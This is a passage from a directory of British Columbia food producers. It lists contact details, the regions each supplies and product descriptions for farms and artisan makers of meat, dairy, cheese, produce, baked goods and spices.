**Phone:** 604 858-5104

**Cell:** Unavailable

**Fax:** 604-858-5104

**Email:** [bobv33@shaw.ca](mailto:bobv33@shaw.ca)

**Website:** Unavailable

**Address:**

7-4125 Columbia Valley Hwy.

Cultus Lake, BC

V2R 5B7

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

J. Beethoven's Corned Beef often gets compared to that which is offered at the Carnegie Deli in New York and Schwartz's in Montreal. I am a native New Yorker. My product is strictly hands on, non injected, tender and flavourful. The briskets are cured in barrels and turned every few days for a two-week period before they are cooked.

**Products Available:**

J. Beethoven's Corned Beef - Year Round

Corned beef brisket, fully cooked, that is sold to various restaurants and hotels in the Vancouver area. It is an artisan, hands-on product that sits in a brine for two full weeks before being steamed in a baker's oven. I use only Alberta beef and a generous amount of whole pickling spice. I do not inject my product and cook it to the proper point of tenderness so that it is not rubbery, but falls apart as brisket should.

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## JD Farms Specialty Turkey - 604-856-2431

**Contact:** Jack Froese

**Toll Free:** Unavailable

**Phone:** 604-856-2431

**Cell:** Unavailable

**Fax:** 604-856-2437

**Email:** [turkey@jdfarms.net](mailto:turkey@jdfarms.net)

**Website:** [www.jdfarms.net](http://www.jdfarms.net)

**Address:**

24726 52nd Avenue

Langley, BC

V2Z 1E2

**Regions Supplied:**

- Thompson/Okanagan
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

**Company Notes:**

J.D. Farms is a family-owned business specializing in turkeys grown without antibiotics and without animal byproducts in the feed. Certified JD Specialty Turkeys by J.R. Consulting. Available fresh at Easter, Thanksgiving and US Thanksgiving and Christmas. Frozen throughout the year. Available in the 11 to 16 lb sizes (we only produce turkey hens as they tend to have the best flavour). Available in Grade A or Utility Grade (Utility means missing a part; meat quality is the same).

**Products Available:**

Certified JD Specialty Turkeys - Year Round

Turkeys grown without antibiotics and without animal byproducts in the feed. Certified JD Specialty Turkeys by J.R. Consulting. Available fresh at Easter, Thanksgiving and US Thanksgiving and Christmas.



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## Jerseyland Organics - 250-442-8112

**Contact:** Ric or Vickie Llewellyn

**Toll Free:** Unavailable

**Phone:** 250-442-8112

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [jerseyland@telus.net](mailto:jerseyland@telus.net)

**Website:** [www.jerseylandorganics.com](http://www.jerseylandorganics.com)

### **Address:**

2690 Almond Gardens Road, P.O. Box 1468

Grand Forks, BC

V0H 1H0

**Regions Supplied:** All of BC

### **Company Notes:**

Jerseyland was BC's first organic dairy producer and on-farm processor. Jerseyland developed BC's first organic yogurts and is still produces the only non-homogenized (cream at the top) yogurt available from BC. We are an ethical producer. Our farming practices are humane, environmentally friendly, the way farms should be run in an "ideal world." We are located in the The Boundary district just east of the Okanagan in the "hot" interior dry belt. Our cheeses contain no "microbial enzymes" as these are generally genetically modified food ingredients, and we do not use them.

### **Products Available:**

#### Organic Cheddar Cheese - Year Round

Mild, medium and limited amounts of aged organic cheddar in bulk in 10 kg blocks, deli blocks or retail. 250 g packages ( pre-priced or unpriced ). White plain cheddar or Leicester cheddar available. Flavoured cheddar - Onion & Garlic, Jalapeno (hot) and cheddar curds. All cheese is "raw" milk cheese & contains no GMO "microbial enzymes."

#### Organic Gouda Cheese - Year Round

Mild and medium available in bulk 10 kg blocks, deli blocks or retail packaging. Available in plain. Flavoured Goudas - Garlic & Dill, Mixed Herb, Cumin, and Caraway. "Raw" milk cheese - excellent grating properties (similar to Edam).

#### Organic Feta Cheese (Cow's Milk) - Year Round

Canada's only organic feta available in bulk 10 kg blocks, or retail packaged. We "age" our feta for a more distinct flavour. Available in plain or sundried tomato/oregano/onion mixed, packaged in brine.

#### Organic Grana Cheeses - Year Round

Parmesan or Asiago which are both raw milk cheeses. Available generally in mild, medium or aged, bulk 10 kg blocks, deli blocks or retail packaged. Distinct award-winning cheeses.

#### Organic Yogurts - Year Round

Available in 5% non-homogenized Plain or Low Fat (.3% bf) 4 litre pails, 1 kg (1 litre), 500 ml or 175 ml. Flavours available - French Vanilla (real organic vanilla extract, non-artificial), strawberry, blueberry.

#### Organic Butter - Year Round

Bulk 2.2 kgs blocks (service industry) This is "real," handmade farm butter, no water added, salted or unsalted. Rich yellow colour from the Jersey cream - used exclusively by chefs for its distinct flavour. Can be limited availability due to market demand.

#### Creme Fraiche ( Sour Cream ) - Year Round

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34% bf 100% Jersey cream (non-homogenized ) - pasteurized cream. Special order only.

#### Certified Organic Angus Beef - Year Round

Jerseyland is certified organic and certified by the BCSPCA for humane practices. All Jerseyland beef is "grass finished". No animals are raised on public lands - thus not damaging wildlife habitat or riparian areas. Jerseyland beef is slaughtered in a provincially licenced abattoir. CFIA-inspected carcasses are cut and wrapped on customers' specific requests. Limited cuts are available in inventory (frozen only)

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## Johnstons Butcher Shop - 604-824-1985

**Contact:** Mat Ball

**Toll Free:** Unavailable

**Phone:** 604-824-1985

**Cell:** Unavailable

**Fax:** 604-824-1986

**Email:** [johnstonsbutcher@shawbiz.ca](mailto:johnstonsbutcher@shawbiz.ca)

**Website:** Unavailable

### **Address:**

7339 Vedder Road

Chilliwack, BC

V2R 3V4

### **Regions Supplied:**

- Thompson/Okanagan

- Kootenay

- Vancouver/Mainland

### **Company Notes:**

Johnstons Butcher shop uses local products, paying close attention to detail and quality. We have a wide variety of fresh and smoked products. We are most recognized for our Double Smoked Hams, Jerky, Bacon and Farmer Sausage. We also offer custom processing to meet specific specialty needs.

### **Products Available:**

#### Double Smoked Ham - Year Round

Bone-in and Boneless. Available whole or in portions.

#### Double Smoked Bacon - Year Round

Regular, Garlic, European and Gammon. Back Bacon also available.

#### Double Smoked Farmer Sausage - Year Round

Pork, regular, garlic and RTE available.

#### Double Smoked Smokies - Year Round

RTE, 100 g portions available in pork or buffalo.

#### Double Smoked Buffalo Farmer Sausage - Year Round

10% pork added, still exceptionally lean.

#### Double Smoked Jerky - Year Round

Peppered or regular. Available in bulk, .15 lb or .05 lb packages.

#### Custom Sausage Making - Year Round

Custom cutting, curing, sausage making, packaging and labelling available. We excel at providing unique customer service.

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## K & M Farms - 604.857.8912

**Contact:** Mark Robbins

**Toll Free:** Unavailable

**Phone:** 604.857.8912

**Cell:** Unavailable

**Fax:** 604.857.8916

**Email:** [kmfarms@shaw.ca](mailto:kmfarms@shaw.ca)

**Website:** [www.members.shaw.ca/kmfarms](http://www.members.shaw.ca/kmfarms)

**Address:**

28494 Maclure Road

Abbotsford, BC

V4X 1L4

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

K & M Farms raises turkeys and chickens like your grandmother did - the natural way. Outdoors, on pasture, with no antibiotics, growth hormones or meat byproducts. Available fresh the week before Thanksgiving and the week before Christmas.

**Products Available:**

Pasture Raised Chickens - Fall, Spring, Summer

Pasture raised chickens. Heavy roasting chickens ( 5 - 8 lbs) raised on pasture with a grain supplement that does not include any antibiotics, hormones or animal byproducts. Available fresh 4 times a year from May to October. Call to pre-order. Frozen roasters and cut-up pieces - product available as supply lasts.

Pasture Raised Turkeys - Fall, Spring, Summer

Fresh turkeys ( 14 - 28 lbs) raised on pasture with a grain supplement that does not include any antibiotics, hormones or animal byproducts. Available fresh the week before Thanksgiving and the week before Christmas. Call to pre-order. Available seasonally.

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## Kan's Gourmet Food Inc. - 604-733-2923

**Contact:** Khanu Lalani

**Toll Free:** Unavailable

**Phone:** 604-733-2923

**Cell:** Unavailable

**Fax:** 778-371-8580

**Email:** [info@kansgourmetfoods.com](mailto:info@kansgourmetfoods.com)

**Website:** [www.kansgourmetfoods.com](http://www.kansgourmetfoods.com)

**Address:**

5033 Still Creek Ave

Burnaby, BC

V5C 6N5

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Specialty Samosas and Wheat Free appetizers.

**Products Available:**

**Beef Samosas - Year Round**

Lean Ground beef in an original recipe, cooked in Non GMO expeller pressed canola oil.

**Indian Appetizers - Year Round**

Assortment of wheat free fritters such as pakoras, mini falafels, squash fritters, onion bhaji and quinoa nuggets. We also have a variety of marinades and sauces available. Please visit our website for descriptions.

**Quinoa Samosas - Year Round**

Healthy and tasty, cooked in Non GMO expeller pressed canola oil.

**Veggie Samosas - Year Round**

Original recipe, no preservatives added. Cooked in Non GMO expeller pressed canola oil.

**Chicken Samosas - Year Round**

All white meat chicken samosas with exceptional taste and flavour. Cooked in Non GMO expeller pressed canola oil.

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## Katissa Poultry - 604-541-0007

**Contact:** Chris Delight

**Toll Free:** Unavailable

**Phone:** 604-541-0007

**Cell:** Unavailable

**Fax:** 604-541-9312

**Email:** [chris@specialtychicken.com](mailto:chris@specialtychicken.com)

**Website:** [www.specialtychicken.com](http://www.specialtychicken.com)

**Address:**

3085-184th Street

Surrey, BC

V3S 9V2

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

All vegetable fed, no animal by-products, non-medicated chicken. The farm is certified as such with the "Safe, Safer Safest Program" and is inspected, including feed invoices and animal care practices. The farm is a small-permit producer, registered with BCCMB.

**Products Available:**

Chicken - Year Round

Whole roasting chickens and cut-up pieces, yellow in colour. Air chilled in the processing. Very high quality in texture and flavour due to a longer grow cycle and excellent growing environment. All vegetable feeding with no animal by-products and no medications.

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## Kettle River Farm - 250-442-3532

**Contact:** Owen Broad  
**Toll Free:** Unavailable  
**Phone:** 250-442-3532  
**Cell:** Unavailable  
**Fax:** 250-442-3532  
**Email:** [onfarm@telus.net](mailto:onfarm@telus.net)  
**Website:** Unavailable

**Address:**  
3795 Almond Gardens Rd.  
Grand Forks, BC  
V0H 1H4

**Regions Supplied:**  
- Thompson/Okanagan  
- Kootenay  
- Vancouver/Mainland

**Company Notes:**  
Certified organic farm in the beautiful Grand Forks Valley, situated on the Kettle River.

### **Products Available:**

Certified Organic Onions, Red and Yellow - Fall, Winter,  
Available seasonally.

Certified Organic Winter Squashes - Fall, Winter,  
Many varieties, good sizing for box deliveries. Available seasonally.

Certified Organic Echinacea, Augustifolia Root - Fall, Winter, Summer  
Very potent dried root.

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## Kildara Farms - 250-655-3093

**Contact:** Brian Hughes

**Toll Free:** Unavailable

**Phone:** 250-655-3093

**Cell:** Unavailable

**Fax:** 250-655-3040

**Email:** [kildara@shaw.ca](mailto:kildara@shaw.ca)

**Website:** Unavailable

**Address:**

11293 Chalet Road

Sidney, BC

V8L 5M1

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Our salad is cut fresh Monday to Friday with same-day delivery to stores, restaurants and organic box programs.

**Products Available:**

Kildara Farms Gourmet Greens - Fall, Spring, Summer

Salad greens varying with the season. Hand harvested and mixed for flavour and appeal, all our production is certified organic. We use many heritage varieties in all our fruit and vegetable growing and, where practical, we save our own seeds.

Edible Flowers - Year Round

Available in 3 lb bags year round.

Deep Cove Gourmet Greens - Fall, Spring, Summer

Hand harvested and mixed for flavour and eye appeal.



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## Kitchen Pick - 604-460-1211

**Contact:** Cheryl Hubbick

**Toll Free:** Unavailable

**Phone:** 604-460-1211

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@kitchenpick.com](mailto:info@kitchenpick.com)

**Website:** [www.kitchenpick.com](http://www.kitchenpick.com)

**Address:**

12800 203rd Street

Maple Ridge, BC

V2X 4N2

**Regions Supplied:** All of BC

**Company Notes:**

Kitchen Pick is a line of garden fresh culinary herbs 'picked' in your kitchen at the height of freshness and goodness. Each plant is a portable mini-greenhouse, keeping it alive for many days, providing you the freshest herbs available. Found at your Local Grocer, our Living Herbs are grown 365 days a year at Our Farm in Maple Ridge BC, Canada.

**Products Available:**

Kitchen Pick Living Herbs - Basil, Mint, Cilantro, Rosemary and Parsley - Year Round

No description available

Kitchen Pick Living Herbs, Thai Basil, Lemon Basil, Tyme, Sage, Chives, Dill Oregano & Tarragon - Year Round

No description available

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## Klippers Organic Acres - 250-499-2050

**Contact:** Kevin & Annamarie Klippenstein

**Toll Free:** Unavailable

**Phone:** 250-499-2050

**Cell:** Unavailable

**Fax:** 360-499-2050

**Email:** [klippersorganics@nethop.net](mailto:klippersorganics@nethop.net)

**Website:** Unavailable

**Address:**

2205 Ferko Road, RR #1 S-88 C-11

Cawston, BC

V0X 1C0

**Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

**Company Notes:**

We pride ourselves in picking everything vine ripened and tree ripened, which brings out more flavours. We sell only fresh items.

**Products Available:**

Apple Juice - Year Round

48 oz jars. Mixture of organic apples. Cases 6 X 48 oz. Juice is made with all fresh apples.

Apple Chips & Apple Nuggets - Year Round

Different sized bags available. Apples are kiln dried making them very crisp. Apple Nuggets are great for adding to dishes.

Apples - Fall,Summer

Mutsu, Spartan, Golden, Red, Fuji, Macs.

Eggplant - Fall,Summer

4 different varieties. All picked vine ripened.

Peppers - Fall,Winter,Summer

17 different varieties. Sweet peppers - Hot peppers. All picked vine ripened.

Italian Prune Plums - Fall,Summer

Picked tree ripened

Peppers - Fall,Summer

17 different varieties. Sweet peppers - Hot Hot peppers. All picked vine ripened.

Squash - Fall,

12 varieties from Butternut - Spaghetti.

Melons - Fall,Summer

Cantelope, Honeydew, Watermelon, Musk melons. All picked vine ripened.

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Heirloom Tomatoes - Fall,Summer

37 different varieties. All have unique flavours and are picked vine ripened.

Dried Prune Plums - Year Round

Different sized bags available.

Dried Tomatoes - Year Round

Different sized bags available.

Dried Peaches - Year Round

Different sized bags available.

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## Kootenay Alpine Cheese Co. - 250-428-9655

**Contact:** Denise Harris

**Toll Free:** Unavailable

**Phone:** 250-428-9655

**Cell:** Unavailable

**Fax:** 250-248-9642

**Email:** [info@kootenayalpinecheese.com](mailto:info@kootenayalpinecheese.com)

**Website:** [www.kootenayalpinecheese.com](http://www.kootenayalpinecheese.com)

**Address:**

3071 16th St., Box 329

Lister, BC

V0B 1Y0

**Regions Supplied:**

- Kootenay

**Company Notes:**

Small batch, handcrafted, Artisian Cheese created from the sweet nutrient dense summer milk of our own herd of holstein, normande and guernsey cattle.

**Products Available:**

Alpindon - Year Round

A raw cows milk cheese aged in cases minimum of 60 Days. Best flavor at 5 - 6 months. Modelled after "Beauford\Alpage" - Made only in the summer while cows are on lush pasture. Firm, sweet, nutty table cheese.

Nostrala - Year Round

A raw cows milk cheed aged in cases minimum of 60 days. Firm, sweet, mild table cheese.

Mountain Grana - Year Round

A raw cows milk cheese aged in cases minium 60 days. Best at 6-12 months. Modelled after our Italian Priove or young Parmigano. Sweet with distinct lactic acid crystals developing with age. A hard table cheese.

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## Ladybug Manor - 604-857-9054

**Contact:** Rod Lacey and Marlene Freemantle

**Toll Free:** Unavailable

**Phone:** 604-857-9054

**Cell:** Unavailable

**Fax:** 604-607-7336

**Email:** [rblacey@shaw.ca](mailto:rblacey@shaw.ca)

**Website:** Ladybug Manor - in the works

**Address:**

6475 264th Street

Aldergrove, BC

V4W 1M6

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Certified Organic Young Whole Turkey grade AA. Available fresh for Thanksgiving and Christmas.

Frozen stock year round limited number of whole UT frozen birds. (we try not to raise UT)

**Products Available:**

Certified Organic Young Whole Turkey - Fall, Winter, Spring,

Available fresh for Thanksgiving and Christmas.

Frozen Certified Organic Young Whole Turkey - Year Round

Frozen stock year round, limited number of whole UT frozen birds.

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## Lake Country Harvest - 250-470-7759

**Contact:** Paule Diakiw

**Toll Free:** Unavailable

**Phone:** 250-470-7759

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [Info@lakecountryharvest.com](mailto:Info@lakecountryharvest.com)

**Website:** [www.lakecountryharvest.com](http://www.lakecountryharvest.com)

**Address:**

6948 McCoubrey Road

Lake Country, BC

v4V 2L3

**Regions Supplied:** All of BC

**Company Notes:**

Now in our 10th year, we are ethical and honest in our dealings with customers. We have a number of clients who ask us to dry their fruit and vegetables. Products dried are B.C. grown and have no added sugar, oils or preservatives.

**Products Available:**

Custom Fruit & Vegetable Drying -

Custom fruit / vegetable drying. Low temp (not raw) available for fruits or vegetables.

Dried Fruits - Year Round

Apples, cherries, peaches, plums, apricots, blueberries, pears

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## Lamington Heritage Farm - 604-530-0559

**Contact:** Anja or Philip Gell

**Toll Free:** Unavailable

**Phone:** 604-530-0559

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [anjaphil@pacificcoast.net](mailto:anjaphil@pacificcoast.net)

**Website:** Unavailable

### **Address:**

Please give us a call.

Langley, BC

### **Regions Supplied:**

- Vancouver/Mainland

### **Company Notes:**

Naturally raised, pastured sheep and lamb for discerning palates desiring to know their meat product was cared for in an ethical, green and humane manner. Sold by the 1/2 and full carcass.

Pastured poultry that is provided organic grain and access to shelter throughout the day.

### **Products Available:**

#### Pastured Chicken - Year Round

Pastured chicken with certified organic grain available throughout the year. Eggs from ranged chicken have a naturally higher omega content from the grass eaten. The taste of real chicken.

#### Lamb and Mutton - Year Round

Certified BC organic lamb and mutton is made available through us. It is raised in the interior and sale directly goes to the farmer. The sheep are ranged on a large ranch, not immunized or medicated, supplemented with alfalfa hay during the winter. The hay has been purchased from Alberta. Grain is not provided. The meat is lean, clean tasting and flavourful.

#### Pastured Duck - Year Round

Pastured duck with certified organic grain available. Available whole. Breast and legs availability intermittently.

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## Lark Farms Inc. dba Okanagan Lavender - 250-764-7795

**Contact:** Andrea McFadden

**Toll Free:** Unavailable

**Phone:** 250-764-7795

**Cell:** Unavailable

**Fax:** 250-764-7795

**Email:** [Okanagan\\_Lavender@telus.net](mailto:Okanagan_Lavender@telus.net)

**Website:** [www.okanaganlavender.com](http://www.okanaganlavender.com)

### **Address:**

4380 Takla Road

Kelowna, BC

V1W 3C4

### **Regions Supplied:**

- Thompson/Okanagan

### **Company Notes:**

Okanagan Lavender is a vertically integrated farm. We grow, harvest, process, manufacture and market all of our products â€“ about 24 in total. We have created many bath, culinary and home products using essential oils and the dried buds of the lavender plant. We use only natural ingredients; no additives, fillers, colourants or preservatives. Everything is made in small batches and often made fresh each week - we aspire to demonstrate our attention to detail in the quality of our products.

### **Products Available:**

#### Lavender Jelly - Year Round

Hand made in small batches at our farm in the Okanagan. May be used as a glaze on salmon and lamb. Delicious served with strong, soft cheeses such as a French camembert. This jelly recipe took me four years to perfect and the recipe was tested and increased for me at the Summerland Research Station. Our lavender is completely spray-free, but not certified organic. It is available in 125 ml, 190 ml glass jars and 2 L plastic buckets for restaurants.

#### Culinary Provence Lavender - Year Round

Grown at our farm, completely managed by hand, including weeding, harvesting, stripping and packaging. Packaged in 30 g aluminum tins with labels designed by local photographer, Glen Durrell.

#### House Blend of Herbes de Provence - Year Round

Including lavender. A unique savory blend of herbs, delicious in stews, soups, lentil dishes, breads and potatoes. Packaged in 35 g aluminum tins with labels designed by local photographer, Glen Durrell.

#### Spiced Organic Sea Salt - Year Round

Coarse Grade - with our house blend of Herbes de Provence. This salt blend adds wonderful flavour to grilled meats and vegetables. May also be placed into a salt grinder for a finer grade. Packaged in 400 g aluminum tins with labels designed by local photographer, Glen Durrell.

#### 4 Spice Blends Box Sets - Year Round

Set of 4 spice blends with a full colour fold-out recipe folder, packaged in a 6-inch square acetate box. This boxed set includes small sample tins of our culinary provence lavender, house blend of Herbes de Provence, spiced sea salt and lavender berry sugar. The recipe folder was designed by local photographer, Glen Durrell, and includes recipes to use with each of our blends.



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## Latin Organics Inc. - 604-921-2491

**Contact:** Martha Bowen

**Toll Free:** Unavailable

**Phone:** 604-921-2491

**Cell:** 604-505-9657

**Fax:** 604-921-2493

**Email:** [marthabowen@latinorganics.com](mailto:marthabowen@latinorganics.com)

**Website:** [www.latinorganics.com](http://www.latinorganics.com)

**Address:**

6421 Fox St

West Vancouver, BC

V7W 2C3

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

This is a Canadian company founded by Latin Americans. Latin Organics' mission is to promote organic agriculture in Latin America, starting with Colombia, in the hope that illicit crops may be reduced.

We want to create awareness, not only in the producing countries but also in the markets that we penetrate. Our first product is truly unique because of its origin and the hands that cultivate it. We pride ourselves on striving for perfection, balance and making a real difference in everything that we do. This coffee is hand picked, sun dried and bird friendly. It is grown under shade, and it is exported and imported by Latin Organics. It is roasted to perfection in small batches and delivered as it is being ordered. We have paid detailed attention to our packaging design/content and quality control of our product. This first product is the pioneer that will set the terrain so that Latin Organics may continue to bring other exceptional products. We choose to work with those that are at the highest risk of losing their livelihood or traditions.

**Products Available:**

Coastal Peak Roasted Coffee - Year Round

An invitation to reconnect with your roots - a spiritual connect. 100% Colombian, Fair Trade, Organic Roasted Coffee coming direct from its country of origin. This first product offers a unique cup of spiritual arabica beans that have been blessed by the indigenous farmers that cultivate the coffee: the "richest and mildest, divine, superb" coffee as described by those who have had the chance to try it. This Medium Roast offers the chance for coffee lovers to make a cup of espresso without having to darken the roast or ruin its character by blending other beans ... unique quality - or just drinking the coffee as is. This first product is supporting Latin Organics' mission to implement fully the organic way of farming within the Colombian territory so that illicit crops, as well as poverty, may be reduced.

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## LegatoGelato - 250-335-1676

**Contact:** Karen Fouracre

**Toll Free:** Unavailable

**Phone:** 250-335-1676

**Cell:** Unavailable

**Fax:** 250-331-8513

**Email:** [fouracre@shaw.ca](mailto:fouracre@shaw.ca)

**Website:** [www.LegatoGelato.ca](http://www.LegatoGelato.ca)

**Address:**

529 Holiday Road

Fanny Bay, BC

V0R 1W0

**Regions Supplied:**

- Vancouver Island & Gulf Islands

**Company Notes:**

Our Artisan Goat Milk Gelato is made from our own milk from our farm dairy in Fanny Bay. Slowly pasteurized and mixed with local and/ or organic ingredients to make a delicious real treat. We use in-season fruits and berries to make a thick, low-fat, high flavour gelato. Ceiliac Friendly!

**Products Available:**

Artisan Goat Milk Gelato - Year Round

Artisan Goat milk Gelato. We use our own goat milk from our licensed goat dairy on our farm in Fanny Bay. Our milk is tested monthly and is the BEST goat milk in BC. We make our own flavours from local and/or organic fruit & honey. We use Vancouver Island Sea Salt exclusively. All other ingredients are organic (certified). Our gelato is made in small batches, pasteurized at Canadian Cultured Dairy Inc, in Royston BC. We hand mix the gelato and hand scoop into pint and 3 oz containers.

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## Liquids+Solids Culinary Innovations Inc - 604-537-5605

**Contact:** Michael Coderre

**Toll Free:** Unavailable

**Phone:** 604-537-5605

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [michael@liquidsandsolids.ca](mailto:michael@liquidsandsolids.ca)

**Website:** <http://www.liquidsandsolids.ca/>

### **Address:**

1530 Venables St

Vancouver, BC

V5L 2G9

### **Regions Supplied:**

- Vancouver/Mainland

### **Company Notes:**

Manufacturer of Soups, Stews and Chilis. Proud manufacturer of BC's own BC BUD BBQ and Cooking Sauces. Wholesale inquiries welcome.

Our food is made from scratch, sourced from the local community & prepared right in our own East Van commercial kitchen. Everything is made with care and in small batches using the best available ingredients.

Follow us. We tweet our daily menu @souperfantastic

### **Products Available:**

#### BC BUD's BBQ and Cooking Sauces - Year Round

Produced in East Vancouver, these homegrown sauces have been very successful since their launch in 2010, due to their unique and tasty flavour profiles. The four flavours available are Tequila and Pineapple, Coffee and Scotch, Chipotle and Ale and Rockin' Moroccan. Packaged in 375 ml bottles and sold in cases of 12 these sauces have found their way from small artisan grocers to high profile meat shops and A-list grocers such as Whole Foods.

#### Soups & Stews & Chowders & Chillies - Year Round

Our Company manufactures over 50 soups, stews and chilis. We produce locally in our East Vancouver facility, using locally or western sourced free run proteins and when available, direct sourced local produce. Our products are sold fresh and refrigerated in both food service (2.5kg bags) and retail packaged (700ml pouch bags) formats. Products are also available in frozen formats. All of our products are preservative free and carry a refrigerated shelf life of over 25 days. We currently distribute to all facets of food service from cafes and restaurants to caterers. Our retail line is distributed primarily to local grocery environments.

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## Little Miss Chief Gourmet Products Ltd. - 250-768-6977

**Contact:** Ellen Melcosky

**Toll Free:** Unavailable

**Phone:** 250-768-6977

**Cell:** Unavailable

**Fax:** 250-768-9946

**Email:** [lmchief@telus.net](mailto:lmchief@telus.net)

**Website:** [www.littlemisschief.com](http://www.littlemisschief.com)

**Address:**

West Bank, BC

V4T 1X6

**Regions Supplied:** All of BC

**Company Notes:**

Little Miss Chief produces a smoked salmon product from a family recipe. This product is filleted, marinated in Okanagan White wine and spices, smoked over natural woodchips and then sealed into a retort pouch, fully cooked (thermally processed), retaining its natural juices, moistness, texture and flavour. The process is registered with the Canadian Department of Fisheries and Oceans, the American National Food Processors Association, The FDA in Washington, D.C., as well as the European Common Market. My packaging is available for restaurant use in 16 oz package size, and for the retail market I have 2, 4, 8, & 16 oz sizes in beautiful sleeve packaging. I also have a "Tradition & Legend" cedar collection using 10 different First Nations designs. Please refer to my website for more information.

**Products Available:**

Smoked Salmon - Year Round

Little Miss Chief Gourmet Products Inc. produces a gourmet, wine-marinated wild Pacific smoked salmon product using no preservatives or artificial colours. It is shelf stable; no refrigeration is required until it is opened. It is marinated in Okanagan dry white wine, smoked over natural wood chips, sealed in a retort pouch, and fully cooked with steam in its own juices to retain its moistness and flavour. It is excellent used in quiches, pasta, salad, etc. For restaurant use, I supply a 16 oz package, with ingredient label only. This product is also available in exquisite packaging in various sizes for the retail market and can be viewed on my website.

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## Little Qualicum Cheeseworks - 250-954-3931

**Contact:** Clarke Gourlay

**Toll Free:** Unavailable

**Phone:** 250-954-3931

**Cell:** Unavailable

**Fax:** 250-954-3981

**Email:** [info@cheeseworks.ca](mailto:info@cheeseworks.ca)

**Website:** [www.cheeseworks.ca](http://www.cheeseworks.ca)

### **Address:**

403 Lowry's Rd.

Parksville, BC

V9P 2B5

### **Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

**Grass-fed:** All the milk for our cheeses comes from our own grass-fed cows. **Farmstead:** All of our cheese is made right on the farm where the cows are raised and milked. **Artisan:** Our cheeses are all hand made and packaged. **SPCA Certified:** We were the first dairy farm in BC to be certified by the SPCA for our high standards in animal care. **Environmental Care:** We are a certified Environmental Partner with The Land Conservancy for our on-going work in improving the natural environment on our 68-acre farm. Besides our famous cheese, we also sell a variety of our own specialty meats and free-range eggs, straight from the farm. Please feel free to ask!

### **Products Available:**

#### San Pareil Cheese - Year Round

Soft, washed-rind cheese rounds, approximately 250 g each. "A Brie with attitude." Unique to us in Canada. We also sell the classic brie, "Island Bries."

#### Fromage Frais - Year Round

A soft, spreadable cheese halfway between a cream cheese and a yogurt. Do everything you can do with a cream cheese with half the butter fat (16%). We make a Natural, a Berry (raspberry) and a Herby (dill, mint and garlic) product.

#### Raclette Cheese - Year Round

A semi-hard, washed-rind cheese made famous by the Swiss for melting and pouring over young boiled potatoes. Also great fresh.

#### Monterey Jill Cheese - Year Round

We tried to make a Jack, but it always turned out a little bit better! We have natural, spice (onion, garlic and sweet pepper) and cumin seed varieties.

#### Rathrevor Cheese - Year Round

A firm, aged, washed-rind cheese, this one is excellent on a cheese tray with a glass of wine. A slightly "Canadianized" version of a Gruyere.

#### Variety Cheeses - Year Round

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As an artisan cheese producer, we often experience variations in processing that become new cheeses! So we give them a new name and sell them as unique. Ask us about what "unique" products we happen to have when you contact us.

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## Lowland Herb Farm - 604-858-4216

**Contact:** Boni Townsend  
**Toll Free:** Unavailable  
**Phone:** 604-858-4216  
**Cell:** Unavailable  
**Fax:** 604-858-4216  
**Email:** [boni@uniserve.com](mailto:boni@uniserve.com)  
**Website:** Unavailable

**Address:**  
5685 Lickman Road  
Sardis/Chilliwack, BC  
V2R 4B5

**Regions Supplied:**  
- Vancouver/Mainland

### **Company Notes:**

We have 35 years of experience growing herbs organically. We use biodynamic and sustainable practices so that our comprehensive and unique list is incorporated into our landscape/farm/greenhouse/Qtuts (walfrin cold frames) for maximum efficiency, consistency and unique flavours and quality with amazing keeping ability of our fresh product. The farm can serve a diverse customer base. As for sales, visit Lowland Herb Farm, working with the seasons for best flavours and qualities. Individual and contract growing available.

### **Products Available:**

#### Seasonal Fresh Herbs -

Culinary and wild herbs available & edible flowers. Available in moderate quantities. A comprehensive list available. Monthly and year round availability. List available for regular customers (including what's new). Also available: herbal wreaths; culinary herb planters for outside; unique seasonal bouquets; and "Tussie Mussies" (tiny herb and flower bouquets - edible).

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## Magpies Bakery - 604-491-1235

**Contact:** Astri McCurdy

**Toll Free:** Unavailable

**Phone:** 604-491-1235

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [bakery.magpies@gmail.com](mailto:bakery.magpies@gmail.com)

**Website:** [www.magpiesbakery.ca](http://www.magpiesbakery.ca)

### **Address:**

7254 A Pioneer Avenue

Agassiz, BC

V0M 1A0

### **Regions Supplied:**

### **Company Notes:**

We are a wood-fired micro bakery specializing in Sourdough breads, containing the bare minimum of ingredients. I did not fill out the organics section because our breads are approximately 50% organic. We also produce hand rolled and cut crackers that are exceptionally flavourful and quite unique. We are looking to wholesale on a small scale for the time being.

### **Products Available:**

Crackers -

Hand rolled and cut crackers (seeds or wheat)

Sourdough Bread -

Ingredient wood-fired sourdough (types available are white, wheat or rye)Wheat free 100 % rye sourdough (unbelievable flavour)



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## Maple Leaf Spices - 250-769-5325

**Contact:** Dee Mole

**Toll Free:** Unavailable

**Phone:** 250-769-5325

**Cell:** Unavailable

**Fax:** 250-769-5314

**Email:** [mapleleafspices@shaw.ca](mailto:mapleleafspices@shaw.ca)

**Website:** [www.mapleleafspices.com](http://www.mapleleafspices.com)

**Address:**

2064 Horizon Drive

Kelowna, BC

V1Z 3H4

**Regions Supplied:**

- Thompson/Okanagan

**Company Notes:**

All of our products are natural, No MSG, Gluten Free, No fillers.

**Products Available:**

Grinder Blends 12 different flavours - Year Round

Please view website

Spice Rubs 7 different flavours - Year Round

Please view website

Nice & Easy Recipes 5 different types - Year Round

Please view website

Traditional Spices 18 different types - Year Round

Please view website.

Specialty Dips 8 different types - Year Round

Please view website.

Cheeseballs 3 different flavours - Year Round

Please view website.

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## Mariposa Organic Farm - 250-499-5379

**Contact:** Karl Eriksen/Sarah Martin

**Toll Free:** Unavailable

**Phone:** 250-499-5379

**Cell:** Unavailable

